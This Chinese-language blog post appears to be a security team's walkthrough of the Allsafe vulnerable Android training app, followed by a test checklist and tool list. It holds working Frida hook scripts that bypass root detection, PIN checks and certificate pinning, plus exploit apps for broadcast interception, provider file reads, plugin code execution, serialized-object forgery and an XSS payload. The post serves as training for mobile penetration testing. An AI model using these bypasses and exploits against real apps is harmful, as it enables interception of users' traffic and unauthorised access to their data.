乐于分享
好东西不私藏

Android应用程序渗透测试

Android应用程序渗透测试

点此即可关注公众号

声明

本文属于OneTS安全团队成员Gal0nYu的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。

温馨提示:本篇文章全是干货,包含了安卓APP靶场测试、补充测试项、隐私合规检测及工具推荐,内容较多请耐心看,实在看不完先收藏码住多看几次!!

一、靶场下载安装

https://github.com/t0thkr1s/allsafe

Allsafe 是一个包含各种漏洞的应用程序。与其他的 Android 应用程序靶场不同,这个应用程序不太像 CTF,更加贴合真实应用程序。

1、下载apk

用以下命令即可安装apk到测试机上

adb install allsafe.apk

2、成功安装

二、靶场测试项

1、不安全日志记录(Insecure Logging

简单的信息泄露漏洞。使用 logcat 命令行工具发现敏感信息。

adb shell ‘pidof infosecadventures.allsafe’

adb shell ‘logcat –pid pid | grep secret’

2、硬编码凭证(Hardcoded Credentials

代码中保留了一些凭据。对应用程序进行逆向工程并查找敏感信息。

jadx来反编译allsafe.apk,可以在HardcodedCredentials里找到硬编码账号密码

3、Root检测(Root Detection

通过Frida来绕过Root检测

jadx反编译,查看Root检测的位置

发现通过RootBeer(RootDetection.this.getContext()).isRooted()来查看是否Root

Fridahook返回值

启动frida服务端

先查看靶场现在显示的是设备是被Root

编写hook脚本

Java.perform(function () {     var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");     RootBeer.isRooted.implementation = function () {         console.log("Bypassed RootBeer.isRooted()");         return false;     };});

执行以下命令来hook

frida -U -f infosecadventures.allsafe -l hook.js

再来查看靶场显示,成功绕过

4、安全标志绕过(Secure Flag Bypass

通过Frida来绕过不允许截屏

尝试截屏发现提示该应用不允许屏幕截图

jadx反编译apk,发现getWindow().setFlags(8192, 8192),通过设置flag来禁用截屏

编写脚本来hook,脚本代码如下

Java.perform(function () {var Window = Java.use("android.view.Window");Window.setFlags.implementation = function (flags, mask) {console.log("Original flags: " + flags + ", mask: " + mask);var newFlags = flags&(~8192);var newMask = mask&(~8192);console.log("Modified flags: " + newFlags + ", mask: " + newMask);return this.setFlags(newFlags, newMask);};});

启动frida服务端

用以下命令来hook

frida -U -f infosecadventures.allsafe -l hook.js

成功截屏

5、Pin绕过(PIN Bypass

有一个简单的PIN 码验证。在代码中找到该方法,并使用 Frida 覆盖返回值。

jadx反编译可以找到byte[] decode = Base64.decode(“NDg2Mw==”, 0)

Base64解码为4863

但是题目需要我们用Fridahook函数checkPin的返回值来绕过验证

编写脚本

Java.perform(function() {    // Get the PinBypass class    var PinBypass = Java.use("infosecadventures.allsafe.challenges.PinBypass");    // Hook the checkPin method    PinBypass.checkPin.implementation = function(pin) {        console.log("[*] Original checkPin called with PIN: " + pin);        // Force the methodtoalwaysreturntrue        var result = true;        console.log("[+] Overriding return value to: " + result);        return result;    };    console.log("[+] PinBypass.checkPin() hooked successfully!");});

启动frida服务端

用以下命令来hook

frida -U -f infosecadventures.allsafe -l hook.js

成功hook

 

6、Deep Link 漏洞利用(Deep Link Exploitation

与不安全的广播接收器类似,需要提供正确的查询参数才能通过靶场

jadx来反编译,获取了启动deeplinkintenturl中的key参数,key需要等于ebfb7ff0-b2f6-41c8-bef3-4fba17be410c

查看manifest文件,看到DeepLinkTask定义了两个intent filter,可以通过scheme uri “allsafe://infosecadventures/congrats”或者https启动

使用scheme uri启动activity

adb shell am start -a android.intent.action.VIEW-d “allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c”

成功调用

7、弱密码学(Weak Cryptography

hook加密过程中的方法

代码如下

Java.perform(function () {    var Window = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");    Window.md5Hash.implementation = function (arg0) {        console.log("input string: " + arg0);        return "md5md5";    };});

8、易受攻击的 WebViewVulnerable WebView

存在xss注入

<script>alert(“12345”)<\script>

可以直接访问文件

file:///etc/hosts

9、原生库(Native Library

java层发现是调用了native的函数

ida反编译libnative_library.so

可以发现密码

Firdahook让函数checkpass返回值总是为1

编写脚本

Java.perform(function() {    // Hook Java层调用    var NativeLibrary = Java.use("infosecadventures.allsafe.challenges.NativeLibrary");    NativeLibrary.checkPassword.implementation = function(pwd) {        console.log("Password attempt: " + pwd);        return true// 总是返回true    };    // Hook native层    var checkPass = Module.findExportByName("libnative_library.so""checkPass");    Interceptor.attach(checkPass, {        onEnterfunction(args) {            console.log("Native checkPass called");        },        onLeavefunction(retval) {            retval.replace(1); // 覆盖返回值为1        }    });});

启动frida服务端

用以下命令来hook

frida -U -f infosecadventures.allsafe -l hook.js

Hook成功

10、不安全的共享首选项(Insecure Shared Preferences

查看shared preferences的代码,发现是直接明文存储的

11、不安全的服务(Insecure Service

出于某种原因,应用程序需要 RECORD_AUDIO 权限。找出应用程序需要此权限的原因,并调用功能

jadx来反编译apk,发现RecorderService申请了录音权限来输出录音音频到DIRECTORY_DOWNLOADS文件夹

RecorderService服务是被导出的

adb调用成功获取服务

adb shell am startservice -n infosecadventures.allsafe/infosecadventures.allsafe.challenges.RecorderService

12、不安全的广播接收器(Insecure Broadcast Receiver

向系统中所有声明了 infosecadventures.allsafe.action.PROCESS_NOTE BroadcastReceiver广播敏感信息,只要监听这个action就能拦截广播

编写监听器

package com.example.maliciousreceiverimport android.content.BroadcastReceiverimport android.content.Contextimport android.content.Intentimport android.util.Logimport android.widget.Toastclass MaliciousReceiver : BroadcastReceiver() {    override funonReceive(context: Context, intent: Intent?) {        if (intent?.action == "infosecadventures.allsafe.action.PROCESS_NOTE") {            val note = intent.getStringExtra("note")            val server = intent.getStringExtra("server")            val notification = intent.getStringExtra("notification_message")            Log.i("MaliciousReceiver""Note: $note")            Log.i("MaliciousReceiver""Server: $server")            Log.i("MaliciousReceiver""Notification Message: $notification")            Toast.makeText(context, "Intercepted note: $note", Toast.LENGTH_LONG).show()        }    }}

AndroidManifest.xml<application>标签内添加接收器声明:

<receiver    android:name=".MaliciousReceiver"    android:exported="true">    <intent-filter>        <actionandroid:name="infosecadventures.allsafe.action.PROCESS_NOTE" />    </intent-filter></receiver>

编译构建apk

安装运行

输入onets,点击save note

查看日志,成功拦截到广播内容

13、Firebase数据库(Firebase Database

jadx查看反编译代码,发现用的是firebase数据库,且有一个secret节点

搜索firebase获得数据库urlhttps://allsafe-8cef0.firebaseio.com

访问url即可获得secret

https://allsafe-8cef0.firebaseio.com/secret.json

14、证书固定(Certificate Pinning

certificatePinner绑定了固定的证书,所以无法抓包

用以下frida代码,创建一个包含自己的可信根证书的 KeyStore,然后构造一个新的 TrustManager,只信任这个 KeyStore,最后 hook SSLContext.init(…),当 App 初始化 SSL 时,把原本的 TrustManager替换成抓包软件的CA,就可以抓包了。

“`

setTimeout(function() {Java.perform(function() {console.log("");console.log("[.] Cert Pinning Bypass/Re-Pinning");var CertificateFactory = Java.use("java.security.cert.CertificateFactory");var FileInputStream = Java.use("java.io.FileInputStream");var BufferedInputStream = Java.use("java.io.BufferedInputStream");var X509Certificate = Java.use("java.security.cert.X509Certificate");var KeyStore = Java.use("java.security.KeyStore");var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");var SSLContext = Java.use("javax.net.ssl.SSLContext");// Load CAs from an InputStream        console.log("[+] Loading our CA...");        var cf = CertificateFactory.getInstance("X.509");try {var fileInputStream = FileInputStream.$new("/data/local/tmp/90434q1.0"); //替换成抓包软件的证书路径catch(err) {console.log("[o] " + err);		}var bufferedInputStream = BufferedInputStream.$new(fileInputStream);var ca = cf.generateCertificate(bufferedInputStream);		bufferedInputStream.close();var certInfo = Java.cast(ca, X509Certificate);console.log("[o] Our CA Info: " + certInfo.getSubjectDN());// Create a KeyStore containing our trusted CAsconsole.log("[+] Creating a KeyStore for our CA...");var keyStoreType = KeyStore.getDefaultType();var keyStore = KeyStore.getInstance(keyStoreType);		keyStore.load(nullnull);		keyStore.setCertificateEntry("ca", ca);// Create a TrustManager that trusts the CAs in our KeyStoreconsole.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);		tmf.init(keyStore);console.log("[+] Our TrustManager is ready...");        console.log("[+] Hijacking SSLContext methods now...");        console.log("[-] Waiting for the app to invoke SSLContext.init()...");        SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;""[Ljavax.net.ssl.TrustManager;""java.security.SecureRandom").implementation = function (a, b, c) {console.log("[o] App invoked javax.net.ssl.SSLContext.init...");SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;""[Ljavax.net.ssl.TrustManager;""java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);console.log("[+] SSLContext initialized with our custom TrustManager!");		}	});},0);

“`

证书生成可以参考文章:

https://blog.csdn.net/weixin_49848824/article/details/132021349

15、不安全的提供(Insecure Providers

InsecureProviders类从数据库下载了一个readme.txt到本地

FileProvider不能被导出

ProxyActivity可以被导出

ProxyActivity接受一个名为extra_intentIntent对象并直接使用startActivity(extra_intent)启动我们传入的 intent,可以利用ProxyActivity启动FileProvider来读取任意文件

编写以下代码

“`

package com.example.providerimport android.content.ComponentNameimport android.content.Intentimport android.net.Uriimport android.os.Bundleimport android.util.Logimport androidx.activity.ComponentActivityclass MainActivity : ComponentActivity() {    override funonCreate(savedInstanceState: Bundle?) {        super.onCreate(savedInstanceState)        val targetUri = Uri.parse("content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt")        // Intent to view the readme file        val readIntent = Intent(Intent.ACTION_VIEW).apply {            setDataAndType(targetUri, "text/plain")            flags = Intent.FLAG_GRANT_READ_URI_PERMISSION        }        // Proxy intent to be passed to ProxyActivity        val proxyIntent = Intent().apply {            component = ComponentName(                "infosecadventures.allsafe",                "infosecadventures.allsafe.ProxyActivity"            )            putExtra("extra_intent", readIntent)        }        try {            startActivity(proxyIntent)            Log.d("Exploit""Proxy intent sent!")        } catch (e: Exception) {            Log.e("Exploit""Failed to launch intent: ${e.message}")        }        finish()    }}

安装启动exp程序

源文件服务器上已经不存在了,自己写了一个flag到自己测试机上来读取

成功读取到文件

16、Sql注入(SQL Injection

1′ or 1=1 —

drozer来扫一下客户端sql

打开cmd控制到切到python27目录下,先为python2 配置临时环境变量,因为有python3的环境变量,所以配置临时的

set path=C:\Python27;C\Python27\Scripts;%path%

启动drozer

没发现存在客户端sql注入

17、Smali 补丁(Smali Patch

发现条件为firewall.equals(Firewall.ACTIVE)永远为false。用MT管理器将smali代码的if-eqz patchif-nez即可

重新编译后安装,成功通过

18、任意代码执行(Arbitrary Code Execution

ArbitraryCodeExecution类创建时调用了invokePlugins()方法

invokePlugins先在已安装的应用里找到包名以infosecadventures.allsafe开头的应用,然后调用了infosecadventures.allsafe.plugin.Loader类的loadPlugin方法。

构造一个infosecadventures.allsafe开头的apk就可以在infosecadventures.allsafe.plugin.Loader.loadPlugin执行想要执行的任意代码了。

invokePlugins利用exp如下:

“`

package infosecadventures.allsafe.pluginimport android.util.Logimport java.io.BufferedReaderimport java.io.InputStreamReaderobject Loader {    @JvmStatic    funloadPlugin() {        try {            val process = Runtime.getRuntime().exec("id")            val reader = BufferedReader(InputStreamReader(process.inputStream))            val output = reader.readText()            Log.d("PluginLoader""Command Output: $output")        } catch (e: Exception) {            Log.e("PluginLoader""Error executing payload", e)        }    }}```

编译安装运行

命令执行成功

19、反序列化(Object Serialization

save user data时,将usernamepassword序列化存在了文件中,存在反序列化漏洞

load user data时,先判断role字段是否为“ROLE_EDITOR”,但输入的时候并未设置该字段,所以可以构造带有role字段的序列化对象上传到对应的文件夹中实现绕过

构造序列化对象

“`

package infosecadventures.allsafe.challenges;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class ObjectSerialization {    public static void main(String[] args) {        try {            User user = new User("admin""admin123");            user.role = "ROLE_EDITOR";  // 修改角色为有权限的角色            FileOutputStream fos = new FileOutputStream("user.dat");            ObjectOutputStream oos = new ObjectOutputStream(fos);            oos.writeObject(user);            oos.close();            fos.close();            System.out.println("✅ user.dat 序列化完成。");        } catch (Exception e) {            e.printStackTrace();        }    }    public static class User implements Serializable {        private static final long serialVersionUID = -4886601626931750812L;         public String username;        public String password;        public String role;        public User(String username, String password) {            this.username = username;            this.password = password;            this.role = "ROLE_AUTHOR";  // 默认角色        }        @Override        public String toString() {            return "User{username='" + username + "', password='" + password + "', role='" + role + "'}";        }    }}```

Android studio来打开allsafe源项目,然后替换

infosecadventures/allsafe/challenges/ObjectSerialization.java

在项目根目录运行以下命令

javac -d out app/src/main/java/infosecadventures/allsafe/challenges/ObjectSerialization.javacd outjava infosecadventures.allsafe.challenges.ObjectSerialization

将生成的user.dat上传到/data/infosecadventures.allsafe/files

点击load user data即可读取

三、补充检测项

1、补充检测项汇总

应用可以被调试

应用可以被备份

ContentProvider 权限问题

冗余的权限

代码可被重打包

客户端 SQL 注入

不安全的文件存储

明文存储密码

敏感数据明文传输

不正确的证书校验

未使用 HTTPS 证书绑定

WebView 安全

应用卸载无法删除缓存数据

敏感信息允许使用剪贴板

本地身份认证绕过

不安全的 socket 端口监听

Activity 劫持

命令注入

使用隐式 Intent 动态授予 URI 权限

广播或 Intent 伪造

广播或 Intent 劫持

客户端跨站脚本

密码学实现问题

不安全的账号退出

允许多设备同时登录

内网 IP 泄漏

错误页面泄露隐私信息

客户端路径穿越

第三方代码问题

敏感内容输出到日志

未启用键盘记录保护

敏感应用未进行 root 检测

逻辑缺陷

native 代码可被调试

Janus 签名漏洞

WebView 跨域访问漏洞

代码保护

密码复杂度校验

2、参考文章

Owasp推荐靶场:

https://mas.owasp.org/MASTG/apps/

Android InsecureBankv2靶场wp

https://infosecwriteups.com/android-insecurebankv2-walkthrough-part-1-9e0788ba5552

https://infosecwriteups.com/android-insecurebankv2-walkthrough-part-2-429b4ab4a60f

https://infosecwriteups.com/android-insecurebankv2-walkthrough-part-3-2b3e5843fe91

四、隐私合规检测

隐私合规检测也是Android应用程序测试的一个环节,可以用一些工具或者在线网站来检测,这里推荐使用camille工具

工具下载地址:

https://github.com/zhengjim/camille

工具使用

启动frida服务端

执行以下命令

python camille.py infosecadventures.allsafe -f demo.xlsx -npp

输出demo.xlsx文件

五、工具汇总

1、Drozer

参考文章:

https://www.jianshu.com/p/dfa92bab3a55

https://www.cnblogs.com/zhaoyixiang/p/11236458.html

2、Mobexler

虚拟机下载地址:

https://www.mobexler.com/

3、ApplicationScanner

工具下载地址:

https://github.com/paradiseduo/ApplicationScanner

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » Android应用程序渗透测试

评论 抢沙发

9 + 5 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
×
订阅图标按钮